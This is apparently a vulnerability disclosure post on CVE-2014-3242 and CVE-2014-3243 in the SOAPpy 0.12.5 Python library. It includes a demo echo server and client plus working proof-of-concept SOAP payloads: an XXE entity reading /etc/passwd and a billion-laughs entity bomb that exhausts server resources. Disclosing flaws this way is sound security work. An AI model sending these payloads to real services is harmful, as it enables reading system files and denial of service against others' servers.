[CVE-2014-3242,3243]SOAPpy 0.12.5 Multiple Vulnerabilities

0×01:Background

SOAPpy provides tools for building SOAP clients and servers.The goal of the SOAPpy team is to provide a full featured SOAP library for Python that is very simple to use and that fully supports dynamic interaction between clients and servers.

SOAPpy use sax.xml as SOAP parser to parse the xml request.Sax.xml also support of setting a handler for resolving entity.By tricking this feature,it'll lead to xxe attack or dtd dos attack.

0×02:Vulnerability details

Affect version:0.12.5(currently the lastest version)

Type:XXE Attack & Billion laughs attack

0×03:Reproduction

I use a simplified echo soap server & client scenario to reproduce these vulnerabilities.The code below is echo soap server.

#!/usr/bin/env python
# encoding:utf-8
from SOAPpy import SOAPServer
def echo(s):
        return s # repeats a string twice
server = SOAPServer(("0.0.0.0", 8080))
server.registerFunction(echo)
server.serve_forever()

And the client code:

#!/usr/bin/env python
# coding:utf-8
          
from SOAPpy import SOAPProxy
server = SOAPProxy("http://localhost:8080/")
print server.echo("Hello world")

Very simple at all but it's enough to illustrative the problem.

As SOAPpy doesn't support WSDL very well,i have to generate the soap request manually.I use wireshark to capture packets transported between server and client.

I copy the packet printable to get a clear soap request.

POST / HTTP/1.0
Host: localhost:8080
User-agent: SOAPpy 0.12.0 (pywebsvcs.sf.net)
Content-type: text/xml; charset="UTF-8"
Content-length: 484
SOAPAction: "echo"
          
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">Hello world</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

At this point,i can use the request proxy like Brup Suite to craft specified xml and replay the request.

XXE attack poc:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Billion laughs dos poc:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<SOAP-ENV:Envelope
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/1999/XMLSchema"
>
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&lol9;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Once send this soap request,the server resouce will exhaust very soon because of the recursion of parsing entities.

20140515 : Fix Released[XXE and DOS]

发表评论

电子邮件地址不会被公开。 必填项已用*标注

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>